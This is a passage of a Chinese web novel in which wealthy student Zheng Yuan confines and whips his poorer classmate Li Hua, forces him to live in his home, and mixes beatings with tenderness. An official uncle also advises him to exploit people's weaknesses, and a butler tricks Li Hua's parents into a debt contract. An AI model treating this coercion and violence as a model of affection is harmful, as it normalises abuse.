李华看着他帅气的脸庞，不作假的眼神，他的眼睛那么黑，看着他时专注异常，里面甚至还有了耐心和忍耐。
他安静地闭上眼，半梦半醒间感受到郑源偷偷摸他的指尖，想碰又不敢碰似的。他就突然很想跟他说，爸妈以前教育他，不要揭人伤疤，也不要对帮助你的人提出质疑，更不要让对方难堪，要懂得感恩。
所以他们一家虽然有些老好人，对于别人的好心和善意从来没有过怀疑，也因此被坑过几次，但是起码他们自己觉得对得起对方的好意，尽管这背后动机难寻。
但人不就是要对得起自己的良心。他的父母是农民，不会讲什么大道理，偶尔还有些迷信，相信老天爷有眼，相信轮回报应。
不要再欺负人了。
特别是，不要再欺负他了。
他很害怕。
郑源看着他，看他眼角湿润，有点担心和疑问：“李华，你哭了？”
他想伸出手刮掉他的眼泪，李华睁开眼，眼睫毛都是湿的，或许是长期受到的委屈，是没人关心他的冷落，是不会有人保护他的无措，人在生病时总是会格外脆弱，他第一次向这个欺负自己但是又陪在自己身边的罪魁祸首示弱：“郑源。”
他的声音很哑，被火烧似的：“我疼。”
郑源愣愣地看着他，看着他的唇一张一合，“我身上疼。”
“我想爸爸妈妈。”
李华的鼻子不再包扎，手腕也看不出肿胀，但那些挨过的打还停留在记忆里，可怕，记忆犹新，那些疼痛感减弱，但依旧折磨着他，他瘦削的身体，脆弱的神经。
说完他闭上了眼，扭过去不看他。郑源握住了他的手，垂眸片刻，一句话都没说。
当天下午，李华输完水就退烧了，郑源一直陪着他，安静乖巧的不像他，李华把剩余的钱给他，他收了，两个人回到教室，郑源却又出去了。当天晚上，他又出现了。在李华去寝室的路上，他截住他。
李华还是怕他，下意识后退，郑源说：“你不是想家吗？”
他风尘仆仆的，脚上还有泥巴。
“我把你爸妈接来了，去看看他们吧。”
17. 17
“爸！妈！”
李华满腔酸涩的冲不远处熟悉的两个身影跑去，还没到跟前就想哭，快跑到时他停下脚步，用胳膊抹了下眼，换上一副兴高采烈的模样走到他们跟前。他向来报喜不报忧，贫穷的家庭让他人情世故方面木讷，却细心敏感又孝顺。父母看到他也非常激动，快走两步牵着李华的手，他的父亲叫李建民，标标准准，地地道道的农民，手背粗糙黢黑，国字脸，抿着唇，有些笨拙地问他在这里好不好，他们穿着朴素的衣裳，一看就是二十块钱的地摊货，脚上的布鞋沾着泥巴，郑源真不知道他们活着什么滋味儿，有什么意思。
李华的母亲瘦小一些，脸颊两侧有些晒伤，红的不一样，还有些斑，但单看面容五官，年轻时也是清秀大方，她眼眶有泪，满眼慈爱关怀，穿的倒洁净，脚上没有泥巴。
一家三口站在那里聊了起来，幸福快乐，每个人都洋溢着笑容，特别是李华，郑源仿佛看到一朵快要衰败的花，又被水滋润的盛开挺拔。
他找准时机走过去插话，意思是晚了，叔叔阿姨也累了，有什么话明天说，现在先回去。李华这个时候才反应过来他都干了什么，脸色微微沉下，不知道怎么问，不知道怎么说。他们坐上一辆车，郑源罕见地坐了副驾驶，一家三口坐后头，李华爸偷偷给李华塞钱，被李华无声地摇头拒绝。郑源不明白，为什么给孩子钱也这么偷偷摸摸的，他微微侧脸，眼的余光能看到后面的动静。好在酒店不远，很快就到了。他们下了车，郑源轻车熟路地带他们上楼，前台及安保见他们来了，很整齐的弯腰鞠躬，这是当地的五星级酒店，富丽堂皇，奢华精致，漂亮的不像样，皇宫一样，李华忍不住环顾着看，那漂亮的吊灯，水植，给他很大的震撼。
他的父母也很惊讶，互相看了看，没说话。
“本来应该是老师来接待你们。”郑源刷了卡，推开房门，说给李华听，也打消他父母的疑虑，解释道，“李华同学是我们学校的重点培养对象，校领导很重视同学们的身心健康，所以安排了这次校园参观，叔叔阿姨今晚先休息，明天我来接你们。”
一番话说的天衣无缝，把李华父母哄的一愣一愣的，直感谢校领导，说这市里的学校就是不一样。李华心情很复杂，郑源这次却很洒脱，说完就走，完成任务似的，李华忍不住跟着他，郑源没回头，他就跟到楼下，郑源一直不说话，李华也不知道怎么问，说谢谢又很别扭，就这么跟到车旁，郑源都坐上车了，李华才下意识拦住他的车门，没让他关上。郑源看着他，李华抿抿唇，郑源说：“上车。”
李华上了车。郑源说：“抱抱。”
李华一愣。郑源道：“你不是来感谢我的吗？”
李华的嘴抿成一条直线，坐着没动。郑源又说：“抱抱。”
李华摇头：“不要。”
郑源气笑：“犟劲。”
但是他说完以后懒洋洋地靠着车窗，没强迫，也没说话，只是靠着，不知道在看什么。李华很奇怪，但也坐着没动，片刻后才说：“谢谢。”郑源说：“不客气。”
他揉揉眉心，“你去吧，陪你爸妈去吧。明天我就不来了。”
李华点头，下了车，郑源就走了。
回到家，郑源开灯，脱衣裳，洗澡，衣服扔的到处都是，他吹干头发，换上睡衣，安静地躺在床上。他睡不着，翻来覆去，摸索着旁边的游戏机，打了会儿，没意思，又开了电脑，恐怖电影，面无表情地看着，血腥暴力的画面充斥，他看全英文的，看着看着笑了，“傻逼。”他自言自语似的骂电影里的主人公，“这还不跑，等着死吧。”
他关了电脑，下床，去看甜甜。甜甜吃得很饱，懒洋洋地趴着睡觉，郑源吼它，冲它做鬼脸，它一动不动，倒显得他自己很傻。他转身离开，又猛地回头踹向浴缸，质量极好的鱼缸没有碎，被震的微颤，甜甜睁开眼看着他，郑源弯腰和它平视，盯着它，片刻后笑着离开了。
他不开心的时候，谁都不能好过。
第二天，郑源没来，找了个个高的年轻人来了，说是学校里的辅导老师，衣着打扮挺正派。他带着李华的父母参观校园，李华本人也跟着，男人找机会跟他说已经给他请了假了，老师也知道，让他安心陪父母。李华再一次意识到，郑源就是能手眼通天，仿佛在他这儿没有什么办不成的事情。他跟着男人的安排和父母待了一整天，早餐在酒店吃的，午餐是男人带着他们吃的位菜，这也是李华第一次吃这么高级的食材什么鲍鱼、鹿茸、佛跳墙，他听不明白，他的父母却能听明白，忍不住偷偷问这得多少钱。男人笑的很温和，随口说了一句价格，他们以为是这一顿，却没想到是一位，一顿饭下来三四千就没了。这是他们种地卖多少粮食才能卖到的价格，李华的父母震惊的食物在嘴里难以下咽。
吃过饭后，他们格外的沉默。李华也不知道说什么，他看着车窗外的景象，感觉生活真挺割裂的。下午的时候，他的父母坚持要走了，他们拉着李华说了好长一段时间的话，又偷偷给他塞钱，李华最终收了，因为他的父母受到了很大的震撼，说这大城市，喝血似的，他们给不了李华更优质的生活，就希望他能好好的，别委屈自己了，李华不收的话他们不会放心，李华就答应了。
他们这次来没去打扰舅舅，毕竟待的时间也不长。来的时候悄无声息，走的时候也不带声响。李华回班里上课的时候，王玉代看郑源没来，才敢偷偷靠近他，问他那天回去后，郑源没对他怎么样吧。李华反问他你没事吧？两个人的对话别人听不懂，就显得有些偷偷摸摸的，王玉代没想到李华还关心他，他无措了一会儿，
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才彻底明白李华是真挺天真又单纯，他反应不过来自己是在耍他又或者利用他，而他来问他，只是想知道郑源有没有放过他，来推测他有没有放过自己。毕竟之前只是吵到李华睡觉，他都要挨打，更别提现在还让李华挨了打，郑源那么聪明，不会不知道自己在利用李华。
他的表情有些微妙：“我没事……我就是……问问你，他那天那么打你，后来没再打你吧？”
李华摇头。
王玉代说：“那他跟你说什么了吗？”
李华看着他，片刻后还是摇头。
王玉代喘口气，走的时候不知道怎么想的，良心发现地提醒道：“其实……郑源这种人你得顺着他，别跟他作对，他要是对你好，真挺好，不然他就一直欺负你。”
李华莫名，但点点头。
郑源一整天都没出现，晚上的时候才又神出鬼没地冒出来，又是在李华下了晚自习要回寝的时候，他从旁边的阴影里窜出来，吓了他一跳。
郑源昨晚没睡好，顶着两个大黑眼圈，吐槽抱怨似的：“李华，我睡不着。”
李华茫然地看着他，郑源垂头丧气地坐在一旁的台阶上，烦躁地搓搓脸。李华想起在他家上外教，他们都以为他睡着了，但他没睡着，问：“为什么？”
“不知道。”郑源抱着膝盖，“家里太安静了。”
让他很烦躁。
他有种莫名其妙地挑剔，他不喜欢电视发出的噪音，又因为太安静而睡不着，他想了很多办法，心情好的时候还能忍一忍，半梦半醒的睡觉，心情不好的时候直接失眠，但是又因为睡不好而更加暴躁，恶性循环。
李华说：“你看看医生呢？”
“没用。”郑源操了一声，因为他未成年，医生连药都不给他开，“死板。”
李华安静地站着，他的睡眠质量很好，虽然也比较轻，但是只要不吵到王玉代那样都能睡着，他打个哈欠，有些累了，忙碌了一整天，他现在只想回去睡觉。
郑源盯着他，说：“你跟我回去睡觉。”
李华愣住了：“什么。”
“你跟我回去睡觉。”郑源站起身朝他走过来，“家里有另一个活人，我应该能睡着。”
李华看着他阴沉的眼神，身上的汗毛都炸起来，“不要！”
他拔腿就跑，郑源抬脚就追，三下五除二把人抓住带出学校。李华疯狂挣扎，一口咬上他的胳膊，郑源反手就是一巴掌，把李华扇懵了。郑源太阳穴直跳，连续的生理心理折磨让他头疼欲裂，他跪在车上，趴在李华的腿上，“对不起。”
他抱住他的腿，看起来很卑微，“我睡不着。”
他像个找妈妈诉苦的孩子，只知道无意义又单调的机械性重复这一句话，李华垂眸看着他，脸上火辣辣的。
18. 18
郑源的睡眠质量很差，从他小时候被骗开始，大人跟他讲，你睡吧，睡醒你妈妈就回来了，又跟他说你妈妈是半夜回来的，那时候你睡着了，所以你没见到她。小时候的郑源还分不清谎话，他选择相信他身边的亲人，他一直坚定地认为自己有妈妈，是他太大意，贪睡，才错过了妈妈。于是他开始不睡了，成夜成夜地等着，实在熬不住了又会马上惊醒，被批评了也只是装睡，竖着耳朵聆听，但是卧室门关上后，什么声音都没有，没有开门的声音，没有人靠近的声音，他在黑暗里安静地等着，等到天都亮了，等到新的一天开始了，他才知道一切都是假的。
他没有妈妈，从始至终都没有。
他开始抗拒黑夜，恐惧黑夜，每当夜晚降临，他都异常地暴躁，边哭边摔东西泄愤，却连手都是抖的。他听不进去任何人说话，冥顽不灵的像未开化的动物，充满攻击性的残暴。大人对他很失望，觉得他一点都不听话。他也很抗拒任何所谓对他好的人，那些人只会说谎话，所以他一个人住，一个人远离人群，孤独又怪异。
车停了，郑源下了车，想把李华扶下来，李华躲开了。
又是这里，来过一次不算陌生了。李华跟在他身后，知道事已至此也别无他法，他人生地不熟，怕郑源再把他撵出去。郑源看着他红肿的脸，转身拿医药箱，李华坐在沙发上，郑源半跪在他面前，双眼很红，他没哭，声音很哑，像是熬的了，他抹了药膏，轻轻碰李华的脸，李华强忍着不适，感受他温柔的给自己上药。
擦完药，郑源说你要洗澡吗？李华摇头，郑源给他找了身睡衣，他自己的，很大，李华不想换，郑源有些乏，没有什么力气和心情再找事儿了，他说你随意吧。他转身进了卧室，李华说我睡哪儿？郑源说和我睡一起，李华说不要，郑源说和我睡一起吧，不然我总觉得自己死了。李华皱眉，不太懂的看着他，郑源笑了一下，蜷缩在床上躺着了。
李华决定睡在沙发上，结果被郑源拉进卧室，还锁上了门，没办法，他找不到其他被褥打地铺，睡地上又太凉，只能躺在床上，离郑源八丈远，好在床够大。
郑源也没在为难他。他蜷着腿，埋着头，像一个蜷在一团的蜗牛，睡在李华身边跟没人似的，安静的不像话。这下轮到李华受不了了，本身和郑源睡在一起就让他难以接受，也不知道是不是心理暗示，他也觉得这房间实在是太安静了，安静的都让他想翻来覆去的不困了，像是所有一切都被静止，连空气都不再流通，凝固，死寂，静到让他产生幻觉的耳鸣。
“郑源。”他没忍住喊他，郑源嗯了一声。李华说：“像是真空。”
他直白地说出自己的感受，他觉得这房子好像一片真空，没有氧气，只有压抑。
郑源没反应，他等了一会儿，受不了了，下床到窗户边，把窗户打开，纱窗关上，让夜风吹进来。
郑源不喜欢，翻了个身，背对他，拽过被子盖着。
李华重新上床，这下郑源成面对他的了，他皱皱眉，刚想转过去，就听到郑源说：“你能给我讲个故事吗？”
李华说：“不能。”
郑源说：“好吧。”
罕见的他没强求，重新闭上眼，李华看着他，背过身，不知道为什么，他感受到了他的脆弱，还有点可怜。他又转过来，问：“为什么只有你自己住？你爸爸妈妈呢？”
如果说他没和爸妈住一起，那是因为他异地求学，家里也负担不起，但很明显郑源这两样都不符合，为什么还没有人管他？
少年人的话语总是直白又残忍，甚至是露骨的，郑源像没听见似的，过了会儿才平静地说：“死了。”
李华一愣。
他的心跳了两下，有些心悸。
他张张嘴，又闭上，“我不是故意的。”
郑源笑出声，“没事儿。”
他睁开眼：“你爸爸妈妈很爱你吧。”
李华点头，郑源说：“挺好的。”
他重新闭上眼，没再说话。
像是出于这件事情上冒犯到对方的愧疚，李华主动说：“我不会讲故事，我给你背书吧。”
他还是心软的，尽管这个同学欺负他，谩骂他，甚至是殴打他，他善良的秉性和良知还是可怜同情每一个没有父母的孩子，他不会原谅他，但他也对戳到对方的痛处感到抱歉。
郑源有些惊讶，笑着说谢谢你。
李华说没关系。
他想了想，背了一篇语文课文，课文不长，郑源听的很开心，他眉头舒展，呼吸都放松了，面带微笑地睡了。李华打了个哈欠，背了一篇以后又背了篇英文的，看对方
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彻底沉沉睡去后，才平躺着也睡了。
他的声音很清透，低声说话时很好听，郑源梦到一片果林，每个果树上面都有成熟待摘的果子，他仰头看着，忍不住伸手，不远处还有涓涓流动的小溪，好一副美如画又富有生活韵味的风景，他整个人都得到了洗礼。
第二天还是李华摇醒他的，他迷茫地睁开眼，天光大亮，李华很急，郑源有点听不清他说什么，他甚至呆愣了一会儿，差点反问你为什么在这里，大脑接上线路后才听到他说：“我们是不是要迟到了，现在几点了？”
迟到？郑源揉着脑袋看眼时间，上午十点，他们是迟到了。他躺回去，准备再美美地睡一觉，李华又把他喊醒：“上课，郑源。”
他闭闭眼，忘了身边是个爱学习的小学霸。他叹口气，重新坐起来，“不上不行吗？反正都已经迟到了。”
“不行。”李华穿戴整齐，一溜烟下床，本想自己走，但他连卧室门都出不去，只能叫醒郑源。
郑源看着他，没舍得骂，爆了句粗口，胡乱地在睡衣外套个卫衣就走，还穿着睡裤，他不耐烦地抓两把头发，打开卧室门，走到厨房，一边打电话，一边熟练的弄牛奶，吐司，三明治，还给李华煎了个蛋。
“司机马上到，先吃饭吧。”
他提拉着拖鞋去洗漱，吐了漱口水，看眼镜子里的自己，眼睛睡的有点肿，头发也乱，不过他也不在意什么形象，回想起昨晚李华给自己背书，心里一阵荡漾。
出去后，李华已经三下五除二地吃完了，一口都没给他留，他也不介意，开了门，司机正好到，他们一起上了车，郑源却只是送他，没打算上课。李华飞似的跑向学校，郑源懒洋洋地靠着倚靠，心情挺好地问司机，“上次接他爸妈那地方叫什么？”
司机说了个地名，郑源想了想，没什么认识的人，想起他们家种地，让司机回主家跑一趟。他准备联系个收粮的，先把他们的粮食收了，再把他们的地租了，租了以后再给他爸妈找个厂，进厂不比种地强。
他知道这事儿不能自己出头，还得联系当地镇政府，跟对方协商，搞个什么厂商的招聘宣传，由政府出头，老百姓信任的多。
他安排好一切，交代了最后一件事。
“把李华的住宿退了，以后他跟我一起走读。”
19. 19
“我跟他一起走读？”李华震惊，“我没有要走读，老师。”
班主任看着他抿抿唇，拉着李华的手，委婉地说：“老师只能负责通知你这个消息，李华，你……能明白吗？”
李华摇头，但是没再说。他理解不了为什么班主任没有这么大的权利，但是他知道郑源的本领，他恐怖又无所不能的形象在他心里根深蒂固。
李华走后，班主任叹息，有别班老师不明所以，“那是你们班的尖子生？”
“嗯，李华，很朴素一孩子。”像是出于某种慈爱与愧疚，她试探着说：“这届教育局局长，真是郑源奶奶的学生？”
对方点头，压低声音，“我也是听说的，这都是最小的职位了，也不知道这家人什么命，出来的要么是大官，要么是大老板，他小叔，在省委，我听李校说，之前中央下来指导组检查我们，非常不满意，都是他小叔在周旋，才少了很多麻烦。”
“唉。”班主任叹气，权字当头，怪不得一个个成年人都唯一个小孩儿马首是瞻。
李华从教学楼出来，站在走廊看天边的尽头。什么都没有，他看不到绵延天空的边界，就像他不知道这样的日子什么时候才会到头。背着书包走出校门，接他的私家车早早地等着，司机是个他从没有见过的中年人，一举一动恪尽职守。李华上了车，发现郑源没在，心里长出一口气的同时一想到要回到他家面对他，就又开始头皮发麻，充满压抑和压迫。
他不开心，很低落，还夹杂着惆怅。他的人生，在没来这里之前，充满了奋斗与未知，在遇到郑源之后，却都是变数与出格，他强势又毫不讲理地冲进来，将他的世界扔的扔，砸的砸，搞出一片废墟和狼藉，像让一辆列车猛然变到完全不符合他，也从未设想过的轨道。
怎么做能让他不再理自己，这简直是他妈的未解之谜。
车停下，司机开了车门，李华跳下去，深吸一口气，大步踏进院子。
像是知道他要回来，都用不着他敲门，郑源就把门打开了。他兴高采烈地拉着李华往屋里进，向他介绍自己一下午的成果，他把李华可能会用到的所有物品都买了一遍，大到写作业的学习桌，小到他可能会穿的袜子，甚至还有衣裳。
“把你那堆破烂扔了。”他说，“试试这个。”
他给了李华一个电动牙刷。
李华推回去，“不要。”
郑源看着他，还是笑着的，有些小烦，但能忍。
厨房里有细小的声音传来，有人在忙活，李华顺着看去，是一个中年妇女，面容慈祥，是郑源下午找的阿姨，在给他们做饭，伺候他们的一日三餐。
李华看着几乎和自己母亲年龄一样大的女人对自己讨好甚至有点点头哈腰的笑，有些心酸，他移开目光，也知道这些自己不能管，他错开郑源要走，郑源跟着他，好脾气地说：“你不喜欢这个牙刷的颜色？换个黑的？还有粉的和蓝的。”
李华去卫生间洗手，抬眼看到洗漱台上郑源的洗漱用品，旁边摆着崭新的，他的，无论什么都像是一对儿似的。他皱眉，擦干净手，看着一直跟在他身后，跟屁虫似的男孩儿：“我要写作业了。”
他说，说完就坐在沙发上，掏出书包里的课本和本子，郑源连忙制止他，“去卧室，我给你买了新桌子，还有不伤眼的台灯。”
李华被他拽着手腕，踉踉跄跄地来到卧室，听到郑源跟他炫耀，“我还买了新床单被罩。”
李华看着他期盼的目光，不知道自己是不是该说谢谢，但是这些又都不是他想要的，他沉默了半天，才说：“不用这样。”
“怎么不用。”郑源知道他是一点都不想欠自己的，找着借口说：“我不能让你白陪我睡觉吧，这样，你每晚给我讲一个故事，我给你一百块钱，怎么样？”
李华皱眉：“不要。”
连他自己都意识到，自己面对郑源说的最多一句话，就是不要。
“你别多想啊，我这不是感谢你吗。”郑源朝他走进一步，搓了搓手，看着他清清冷冷的模样，张开双臂就抱了上去，“你让我抱抱，抱抱——啊——”
他瞬间疼的弯腰，捂着自己的裆，愤恨地盯着李华，恨铁不成钢：“你他妈又来这招！”
“你别碰我！”李华比他的声音还大。郑源说：“不就是抱一下吗，你他妈犯得着吗。”他疼的嘶嘶的抽气，“你妈的，疼死了。”
活该。李华看着他，转身要走，郑源猛地拽他一把，李华没防备的向后跌倒，被郑源压在床上，对方一副洋洋得意的模样，“跑，还跑。”
李华疯狂挣扎，郑源跟个山似的压着他，让他气的脸都红了，眼睛也亮了，郑源看着他就忍不住摸他，李华一张嘴，逮着他的手指头就咬了上去，把郑源咬的直叫唤，“松嘴松嘴，我操你妈李华。”
他疯狂甩了两下，李华像条狗似的，虎牙硌着他的骨头，修长的手指全是口水和牙印，郑源掐着他的脖子，才把他的嘴松开，李华偏头咳嗽，郑源看着自己几乎要冒血的手，哪儿都是疼的：“你他妈属狗的？你他妈来真的？！”
李华警惕又防备地迅速爬起来，郑源捂着下头又顾不住上头，明明自己是最疼的那个，结果对方还看起来可怜兮兮的，像是要哭了，他没处说理，一蹦一跳地出去了。李华卸了力，颓丧地靠着墙角，没一会儿又听郑源蹦回来了，手里还提着什么。
是个医疗箱。郑源坐在床边看着他，眼神示意他，见他不动，不得不说话，“你他妈过来啊，给我包扎啊。”他手里抓着纱布，看李华还是不动，自己用嘴咬着缠手，
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李华说：“你别碰我，我给你包扎。”
郑源说：“什么时候轮到你威胁我？”
他三下五除二地给自己糊涂地弄了弄，提着医疗箱出去了，过了片刻，又进来了。
李华本想走出去的脚又收了回来，他退在墙角，看到郑源手里拿了根鞭子，“说实话，我就知道你不会老老实实听话，我以为你会学聪明点儿，用不着呢。”
李华见他似笑非笑的一步步逼近，挨打的恐慌紧紧地缠绕着他，他浑身汗毛炸起，推开他就要跑，郑源一把摁住他，抬手就是一巴掌，没扇到脸，拍了背，把李华拍个踉跄，紧接着就是一鞭子，李华从背对他被打的蹲下来抱着头，郑源把他破烂不堪的衣服都抽烂了，露着白皙又带着鞭痕的胳膊。
他疼的蜷缩在一起，像个想把自己死死封起来的蜗牛。
郑源走到他跟前，用脚尖踢踢他，鞭子就垂在李华面前，他死死地咬着下唇，眼眶里的生理眼泪没落，郑源蹲下来说，“你知不知道见好就收是什么意思？”
李华恶狠狠地瞪着他，仿佛趁他不备，会反咬一口。
郑源对上他的目光，想征服他的欲望更强烈了，他说：“你说点好听的，往后我都不打你了。”
李华呸了一声，他信他就有鬼了。他盯着郑源一字一顿，“你去死吧，傻逼。”
郑源安静地看着他，笑了，站起身，拽着他的后衣领把他提起来，到客厅，挥挥手，阿姨就目不斜视地迅速离开了。他摸了摸身上，又四处扒了扒，从电视柜下头摸出来一整条烟，拆了，看着李华研究那扇能让他跑出去的门。
他挺烦吸烟的，不是非常兴奋的必要时刻，他不会抽烟。
他抽了一口，将鞭子对折，一鞭下去能把人的肋骨都劈折。他一步步朝李华走去，看着他惶恐倔犟又死不认输的神情，说：“不知道为什么，你总让我挺爽的，从见你第一面开始，我就觉得靠他妈的，怎么能长这样？”
他抬起手，“后来我又觉得，你太有意思了，我很喜欢。”
说完，一鞭下去，李华痛苦地哀嚎惨叫一声，跪在地上，蜷缩着，眼泪止不住地流。
郑源蹲下来看着他，有点打到他的下巴，血红的一道印，他摸了摸，摸到了血。
半个小时后，包扎了的李华坐在餐桌边，郑源从后面抱着他，用筷子夹了一块儿鱼肉，递到他嘴边，李华沉默片刻，张嘴吃了。
郑源摸摸他的脸，很温柔：“小心刺。”
李华强忍着恶心和干呕，闭闭眼，才将鱼肉吞下去，等到晚上睡觉，郑源还想抱他，李华平静地看着他，说：“你打死我吧。”
郑源缓慢地眨了两下眼，收回手，往床边退了退。
李华听到他说。
“那我舍不得。”
20. 20
李华睡到一半开始做噩梦，梦到有鬼，狰狞恐怖地追着他，长着血盆大口要吃他，他吓的四处逃窜，跑的脚都是软的，急的快哭了，他还不想死，他还有爸爸妈妈，还要考大学，他崩溃地绝望了，跑不动了，腿像灌铅似的，他藏在角落里，抱有侥幸希望的挣扎，希望对方没有发现他，却一扭头，鬼离他那么近，他猛地尖叫，画面突然切断，一片空白，什么都没有，他下意识翻身，却感到束缚，他挣了挣，没挣开，他刚想睁眼，就感到有人在拍他，是安抚，是哄睡，是迷魂汤。
郑源借着月光看他下巴的伤，心疼地啧了一声，那么好看的一张脸，他偷偷给他抹了药膏，冰冰凉凉的缓解李华心里的不安，他紧皱的眉头舒展，鼻尖萦绕着淡淡的体香，像安神剂，对方温热的怀抱，胸膛，让他想到小时候的夏天，爸爸抱着他晃荡，他不由自主地贴近他，抱住他，找个舒服的姿势彻底睡过去。
郑源的心停止跳动了，他感到窒息，忐忑，兴奋，激动，甚至是害羞，他嘴角笑容变大，对于李华的投怀送抱，他认为是一种示好，这种无意识的依赖，让他的精神都在颤抖。他忍不住低头和他贴近，拨开他额前的碎发，鼻尖碰碰他的额角，用脸颊贴贴他的太阳穴，把人抱的紧紧的，心里一阵波涛汹涌的荡漾，像含苞待放的花，悄然绽放。
第二天李华醒，看到的就是郑源放大的脸。平心而论郑源长的的确不错，但在郑源怀里这一事实让他比昨晚做噩梦还惊恐，他几乎是瞬间推开他，连滚带爬的跌下床，郑源揉着脑袋坐起来，伸个懒腰，他昨晚睡的是真好，李华在他胸膛处像个小动物似的呼吸，他抱着他，摸到他的肩胛骨，腰太细了，背太薄了，身上的肉也太少了，摸着心疼。他看着李华惊慌失措地从地上爬起来，心情好的无法言说，下床温柔的将他扶起来，明明没有灰，还拍拍他的膝盖。
阿姨早就做好了饭，两个人洗漱完去客厅，李华打了个喷嚏，他看着郑源皱起的眉头，别开脸，安静地喝粥，郑源起身走到他身前抬起手，李华下意识躲了一下，郑源却是摸他的额头，又摸摸自己的，啧了一声，刚才的好心情瞬间消失，他非常不爽地从医疗箱扒出来温度计，让李华量体温。
李华有点抗拒，但是对上郑源黑黑的眼睛，和他面无表情的脸，还是听了，十分钟后，郑源拿走温度计看，低烧，他又发烧，又生病，郑源烦死了，他说：“你的抵抗力一直这么差？”
李华点点头，他体弱多病，现在长大了些，还好的多，小时候生病的次数更频繁。郑源坐在沙发上撸了把头发，在沉思，李华安静地吃饭，片刻后他都吃完了，郑源还坐在那儿。眼见快到上课时间，李华拿着书包看着他，郑源沉默地看向他，从医疗箱里拿出药，预防他烧的更高。看着他尖瘦的下巴那一道血痕，蓦然生出一种后悔又心疼的滋味，因为李华就那么看着他，眼神干净，纯粹又无辜，还有惧怕。
郑源抿了下唇，说：“中午司机接你回家，食堂的饭没营养，不要再吃了。”
李华皱眉，他有些抗拒，中午他还要看书，这一来一回耽误不少时间。
“我给你买学习机。”郑源算是了解他，一看他的表情就知道他想什么，“你想看的，想学的，在车上也能进行，不耽误时间，中午回家，嗯？”
他抬手想摸李华的脸，李华躲开了。
“必须吗？”李华问。
“必须。”
那没什么好说的了。李华昨天刚挨过打，今天还记忆犹新，胆战心惊，不敢反抗，不过等身上的伤不疼了，估计又是另说了，但起码今天很听话，郑源很满意。
司机把李华送走，郑源穿好衣服，给他小叔回电话。
他小叔，郑玉安，省委组织部副部长，一个月偶尔有一两天空闲时间，会给打他电话，约他打球或者锻炼。他到的时候，郑玉安刚晨练回来。他看着郑源，一句话都没说的，先在院子里和他过了两招，是他以前教郑源的中国功夫，郑源敏捷地躲避他的攻击，郑玉安满意地说：“还不错，昨天怎么没来。”
他昨天就给郑源打电话，被郑源拒绝了。因为郑源下午在给李华买用的东西。“有点事。”郑源说，跟着他进家，看到桌子上摆了新的翡翠摆件，“纯的？”他走过去看看，“还是冰种，几十这个？”
“三十多吧。”郑玉安说，“新的调任开始了，你们市市长送的。”
“贪官。”郑源嗤之以鼻，“你不是不喜欢玉么？以前那谁送你的你都没收。”
“你说那个玉观音？”郑玉安说，“谁戴那玩意儿。”
“还不如送辆车。”郑源说。
郑玉安好笑地看他一眼，“你开？”
“你要给我我就开。”
“等你拿到驾照再说吧。”他说，停了一秒，又说，“现在的坐着不舒服？”
“也没什么，就是想换一辆。”
“你要只在市区开，可以给你买个新能源的，省油费。”
“不要。”郑源拒绝，“电车不是车，而且丑的要死。”
他看着郑玉安换衣服，看他那一身腱子肉，“小叔，身体素质太差怎么办？”
“你？”郑玉安转身看他，上下打量他，“你不舒服了？”
“没有。”郑源坐在沙发上，“我同学。”
“哪个同学，这么关心人家。”郑玉安颇有深意地看他一眼，郑源说：“那你别管。”
“悠着点。”郑玉安从柜子里拿出两个黑背包，扔给他一个，“今天天晴，陪我钓鱼。”
“又钓。”郑源很烦，“我又没钓上来过，你就不能换个其他娱乐项目？”
“打高尔夫？”
“那还是钓鱼吧。”
郑玉安开车，郑源坐在副驾驶，一副思考的模样，郑玉安说：“买点补品补补。”
“还有呢？”
“加强锻炼。”
“还有呢？”
“注意饮食，作息规律。”
“还有呢？”
郑玉安看他一眼，“哪个小姑娘让你这么操心。”
“不是小姑娘。”郑源说，“就同学。”
“单纯同学？”
“嗯。”<
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“男同学女同学？”
“男同学。”
郑玉安又看他一眼，“男同学你这么上心？”
“你不懂。”郑源说，“不是一般的男同学。”
郑玉安挑眉，“我上学的时候还真没遇到过不是一般同学的男同学。”
“他老是生病。”郑源不理他，自顾自地说，“这才几天，就又发烧，我都怕把他打死。”
“你还打人家？”郑玉安拍他后脑勺，“我之前怎么跟你说的？”
“他不听话。”郑源说，“我明明是对他好，他不接受，我不打他我打谁？”
郑玉安说，“换种方式方法，真忍不住了再打。你越打，他越不听话。小时候不是教过你，有收有放才有得，这么快就忘了？”
“你说五六岁那事儿，谁还能记得。”郑源思考，有收有放，他抿唇，相信他小叔说的有道理，忍不住看他，“你的事儿……都解决了？”
“什么事儿。”郑玉安说。
“那个女人。”
“解决了。”郑玉安毫不吝啬，“无论是男人还是女人，无论是男同学还是女同学，只要抓住他们的弱点，就没有解决不了的问题。”
郑源挑眉，“知道了。”
到了钓鱼的地点，郑源狮子大开口地说：“你把买电车的钱给我呗。”
郑玉安好笑地看他一眼，“为什么？”
“想给他买补品。”
郑玉安点头，拿手机转账，“希望你的付出能得到回报。”
郑源说：“那有收有放你再给我讲讲。”
“你今天能钓到一条鱼我再告诉你。”
“操。”郑源说，“不听了。”
他根本没有那耐心静下来钓鱼，确定收款转账后就想跑，郑玉安说跑了就停你的卡，他又老老实实坐下了，“我上课去呢。”
“不如陪我钓鱼。”郑玉安说，他们全家人都没想郑源能在国内发展什么，打一开始就把他往国外的路子培养。
郑源坐下，脑子里想着李华，竟然就这么坐着了，没有烦躁也没有着急，郑玉安时不时看他一眼，给管家发消息，让他看看少爷身边是哪个男同学，把他的魂都勾走了。
李华在学校上完课后出来，坐上了郑源安排好的车，回家吃饭，但是郑源没回来，他心情好得多，下午看书都有劲了，不知道是不是吃药的缘故，他下午还真没烧上来。
管家把照片传给郑玉安的时候，郑源还在收杆。他看着男生清秀的面容，心里隐约有了猜测。
-他爸妈做什么？
-农民。
他联想到郑源之前跟他提的事情，吩咐了一下管家。
管家当天就去到偏僻的小村庄，找到李华爸妈，大致估算郑源给李华身上投入的金额，翻了将近一倍，哄骗他们签了合同。
如果郑源得到想要的，他们一分钱都不用还，如果没有，郑源给多少，他们还多少。
“靠，我真钓上来一条。”郑源惊喜又震惊。
郑玉安淡淡地笑，“干的不错。”
21. 21
郑源买了很多补品，非要李华吃，李华很烦，因为李华感觉很难吃，而且就算他不知道这是什么，从郑源的表情也能看出来价值不菲。他不喜欢，他抗拒的很明显。郑源就瞪着他，说你别得寸进尺，不然我还塞你嘴里。李华没办法，慢吞吞地嚼，郑源欣慰地看着，监督他吃完才去喂甜甜，还笑着抱怨：“伺候完你还得伺候它。”
